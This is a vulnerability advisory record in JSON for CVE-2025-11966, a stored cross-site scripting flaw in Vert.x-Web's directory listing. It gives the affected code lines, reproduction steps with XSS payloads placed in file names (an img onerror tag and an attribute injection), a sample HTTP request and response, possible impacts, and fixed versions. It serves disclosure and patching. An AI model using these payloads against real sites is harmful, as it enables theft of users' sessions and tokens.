{"id":"CVE-2025-11966","aliases":["GHSA-45p5-v273-3qqr"],"url":"https://o3.security/vulnerability/CVE-2025-11966","summary":"Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names","details":"# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n    - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n    - Lines:\n        - 709–713: `normalizedDir` is constructed without escaping\n        - 714–731: `<li><a ...>` elements insert file names directly into attributes and body without escaping\n        - 744: parent directory name construction\n        - 746–751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n    - Directory listing is enabled using `StaticHandler`  \n      (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n    - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n    - Create an empty file in `public/` with one of the following names:\n      - `<img src=x onerror=alert('XSS')>.txt`\n      - Or attribute injection: `evil\" onmouseover=\"alert('XSS')\".txt`\n    - Example:\n      ```bash\n      mkdir -p public\n      printf 'test' > \"public/<img src=x onerror=alert('XSS')>.txt\"\n      ```\n\n3. Start the server (example):\n    - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n    - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n    ```\n    GET /public/ HTTP/1.1\n    Host: 127.0.0.1:8890\n    Accept: text/html\n    Connection: close\n    ```\n\n5. Example response excerpt:\n    ```html\n    <ul id=\"files\">\n      <li>\n        <a href=\"/public/<img src=x onerror=alert('XSS')>.txt\"\n           title=\"<img src=x onerror=alert('XSS')>.txt\">\n           <img src=x onerror=alert('XSS')>.txt\n        </a>\n      </li>\n      ...\n    </ul>\n    ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n    - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n    - Possible consequences:\n        - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n        - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n        - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n    - Uploaded files are served directly under a publicly accessible directory\n    - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n    - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE‑2024‑32966  \n- CVE‑2019‑15603","published":"2025-10-22T14:44:24.145Z","modified":"2026-08-12T03:51:37.544840647Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.vertx:vertx-web","fixedVersion":"4.5.22"},{"ecosystem":"Maven","name":"io.vertx:vertx-web","fixedVersion":"5.0.5"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/11xxx/CVE-2025-11966.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-11966"},{"type":"REPORT","url":"https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"},{"type":"WEB","url":"https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"},{"type":"PACKAGE","url":"https://github.com/vert-x3/vertx-web"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.544840647Z"}}